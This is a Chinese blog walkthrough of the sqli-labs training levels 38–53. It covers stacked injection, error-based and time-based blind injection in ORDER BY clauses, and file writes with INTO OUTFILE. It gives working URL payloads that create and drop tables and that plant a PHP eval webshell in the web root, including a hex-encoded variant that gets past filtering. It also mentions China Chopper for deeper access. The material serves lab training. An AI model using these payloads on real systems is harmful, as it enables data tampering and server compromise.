less38-53


一.less38

堆叠注入:就是利用利用分号来分隔一个sql语句,然后在同一行再写一个sql语句实现多句并用。堆叠注入的危害巨大,less45将演示利用堆叠注入写一句话木马

less38-45是关于堆叠注入的学习,通关要求是找到注入点进行堆叠注入

#利用创建表
http://127.0.0.1/sqli-labs/Less-38/?id=1';create table crow2 like users;--+

#删除创建的表
http://127.0.0.1/sqli-labs/Less-38/?id=1';drop table crow2;--+

#往users表中插入一组数据(100,Eric,L123);--+

这里我就不上图了,很容易验证
用其他的注入手段获取数据库敏感信息这里不赘述了

2.less39

本关是id是数字型注入,其他的同less38

3.less40

本关是id是单引号+单括号,其他的同less38

4.less41

本关同less39,只是没有报错信息而已

5.less42

本关是post型的注入,从login中sql语句源码我们可以知道,这里采用的是单引号闭合。由于本关源码中有对username进行mysql_real_escape_string()过滤,而passsword没有,所以可以直接在password进行注入

 $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";


注入代码:

账号:随意
密码:a';create table test like users#

页面登陆失败,但是表test会被创建(其他操作同理不赘述)

6.less43

本关passwood是用单引号+单括号闭合的,其他的同less42

7.less44

本关是基于盲注的,除了没有报错信息外其他的同42
按照流程来一遍把数据库名,表名,字段名都猜解出来

注意:猜解的时候一定要用or,因为如果用and的话,在账号密码已经是错误的情况下或者未知的情况下,执行到第一个错误的分句后就不再执行,用or的话会都执行一遍,这样就可以用延时注入来猜解数据库的相关信息

' or if(left(database(),1)=100,1,sleep(5));#

其他同理,不作赘述

8.less45

45关与43关的payload是一样的,只不过45关依旧没有报错信息(代码直接抄过来用),依旧用盲注

用堆叠注入来写一句话木马(以上关卡也都能用,只是在less45展示而已)
条件:

  • root 写权限
  • 一句话木马
  • select xxx into outfile xxx
  • 写入点
    #一句话木马
    <?php @eval($_POST["root"]); ?>

注入代码

a'); select '<?php @eval($_POST["root"]); ?>' into outfile 'E:\\phpstudy\\PHPTutorial\\WWW\\crow1.php';#

虽然网页显示登陆失败但是一句话木马已经注入成功,然后用中国菜刀获得更高权限进行入侵

九.总结(less38-45)

堆叠注入就是利用分号结束当前sql语句,然后再自己按照需求任意添加别的sql语句实现注入效果

堆叠注入对网站和服务器的危害相当之大,当爆破出库名表名后,进行各种增删改查,或者是随意往数据库里创建表或者加入本不存在的信息,再或者对服务器进行木马注入,都会对网站造成难以估量的损失

十.less46

从本关开始,我们开始学习order by相关注入的知识

补充知识:

  • 1.?sort=1 表示select xx from xx order by 1
  • select * from users into outfile ‘绝对路径’ lines terminated by xxx(xxx可以用十六进制表示,别忘了前面手动加0x):这句sql语句表示将东西写入文件以xxx分隔

下面开始这关的内容:

首先本关是提示信息要求使用sort,我们输入在网址后面补?sort=1,如下,可以得到一张表,我在源码中打印了sql语句,从sql语句中可知,这里sort控制的是order by 后面的值(本关开始考点就是order by相关注入)

闭合方式:整型

注入方法((报错注入和延时注入前面已经讲过很多次了,详见less5的报错注入处)):

  • 1.报错注入
    select updatexml(1,concat(0x7e,要查询的sql语句),1)
    

#如查询数据库名
http://127.0.0.1/sqli-labs/Less-46/?sort=1 and updatexml(1,concat(0x7e,database(),1),1)–+


* 2.延时注入

select if((length(database()))>8,1,sleep(5))

#如果数据库名长度>8就sleep5s
http://127.0.0.1/sqli-labs/Less-46/?sort=1 and if((length(database()))>8,1,sleep(5))


总结:利用以上两种手段,在 order by 后面加 and 报错注入代码 来爆数据库的的数据

## 十一.less47
本关闭合order by处是单引号闭合,像前面id一样构造闭合即可,其他的相同

以延时注入为例:

http://127.0.0.1/sqli-labs/Less-47/?sort=1'and if((length(database()))>6,1,sleep(5)) –+


## 十二.less48
本关是order by处是整型,但通过单引号测试可知本关没有报错信息,所以选择时间盲注来获取信息,其他的同less46,具体过程略

## 十三.less49
本关是order by处是单引号闭合,无报错信息,其他同less47,依旧选择时间盲注来获取信息,具体过程略


**下面尝试使用写入文件的方式破解less49**

#语法(line后面的部分可选,下面就会出现非用不可的情况)
select * from users into outfile ‘绝对路径’ lines terminated by xxx

http://127.0.0.1/sqli-labs/Less-49/?sort=1'
into outfile “E:\phpstudy\PHPTutorial\WWW\less49.txt” –+


虽然有警告,但是已经成功通过注入把users表的内容写到文件中(因为前面已经有select并且我们需要的就是前面select出来的数据,所以这里千万不要再加select 和and)
[![](https://s3.ax1x.com/2020/11/26/DdXOvn.png)](https://imgchr.com/i/DdXOvn)


</br>
下面演示通过写入文件来注入的方式

**插入一句话木马**

注入代码如下

http://127.0.0.1/sqli-labs/Less-49/?sort=1' and
(select ‘‘) into outfile ‘E:\phpstudy\PHPTutorial\WWW\crow3.php’–+



**注:这里select外面一定要加一层括号,这样才表示把这句话写入文件**

[![](https://s3.ax1x.com/2020/11/26/DwC61S.png)](https://imgchr.com/i/DwC61S)

成功写入文件,但是打开文件后会发现只有写入了and前面那句sql语句的内容,一句话木马并不存在。我们通过手动输出的sql语句中也能看到,这里一句话木马被过滤掉了

**奇怪的是,这里我把一句话木马换成随便的一个字符串比如1234,再在显示的sql语句中虽然正常显示了我要加的句子,但是文本中依旧不显示**

[![](https://s3.ax1x.com/2020/11/26/DwCQT1.png)](https://imgchr.com/i/DwCQT1)

**解决方法:利用lines terminated by来实现插入,这里by后面是可以用字符的十六进制形式来进行注入的,这样就能实现绕过过滤**


进制转换的网站:https://www.bejson.com/convert/ox2str/

将<?php @eval($_POST["root"]);转换成十六进制写再lines terminated by 的后面即可  
下面是注入代码 

http://127.0.0.1/sqli-labs/Less-49/?sort=1'
into outfile “E:\phpstudy\PHPTutorial\WWW\less49_02.php” lines terminated by 0x3c3f706870406576616c28245f504f53545b22726f6f74225d293b3f3e –+

[![注入成功](https://s3.ax1x.com/2020/11/26/DwPxbj.png)](https://imgchr.com/i/DwPxbj)

由上图可知,确实注入成功

## 十四.less50
从本关开始我们开始进行 order by stacked injection
前面的关卡中,源码中使用的是mysqli _query()的方式执行sql语句,而本关开始使用的是mysqli_multi_query()

**mysqli _query())和mysqli_multi_query()的区别**

* mysqli _query():只能执行一句sql语句
* mysqli_multi_query():可以执行多句sql语句


接下来从less50-53是对上面两大关(堆叠注入和order by注入)的结合,手法如下按照实际情况选(不再一一演示)  
* 1.延时盲注
* 2.报错注入
* 3.直接写一句话木马(见less49)
* 4.用堆叠注入写一句话木马(见less45)  
* 5.用堆叠注入实现创表删表等操作(见less38)

本关是整型闭合,操作就不演示了

## 十五.less51
本关是单引号闭合,其他同less50,不赘述

## 十六.less52
本关是整型闭合没有报错信息,其他同less50(无报错信息的题不可用报错注入)

## 十七.less53
本关是单引号闭合,无报错信息,同less51



## 十.总结(less46-53)
对比:

?id=n  --->   select xx from xx where id = n  
?sort=n --->  select xx from xx order by n  

二者基本同理,注入的步骤都是:
* 引号测试是否存在报错以及确定闭合类型
* 没有报错信息就选择时间盲注,有的话就报错注入和时间盲注都可以
。如果有别的可行的方法也行
* 根据需求选择合适的注入手法进行信息获取或攻击



less38-53手法汇总:
* 1.延时盲注
* 2.报错注入
* 3.直接写一句话木马(见less49)
* 4.用堆叠注入写一句话木马(见less45)  
* 5.用堆叠注入实现创表删表等操作(见less38)



**注 : 可能还存在一些别的方式可以注入通关,这里主要讨论时间盲注和报错注入和用写入文件的方式来注入**



文章作者: 灿若星河
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 灿若星河 !
评论
 上一篇
less54-75 less54-75
从less54开始,都是用来做练习的的,获取密码才能成功,已知数据库名是challenges,并且他的表名,列名,密码都是随机得到,超过规定的提交次数就会重置一次,下面的代码仅以我遇到的值为例 复习:知识点一:判断闭合方式SELECT *
2020-11-26 灿若星河
下一篇 
less23-37 less23-37
一.less23本关不能用–+来进行输出,源码中自动换成空格了 通过单引号测试获得的报错信息得知是单引号闭合猜测原sql语句 select id,username,password from users where id='xx'方法一:特
2020-11-21 灿若星河
  目录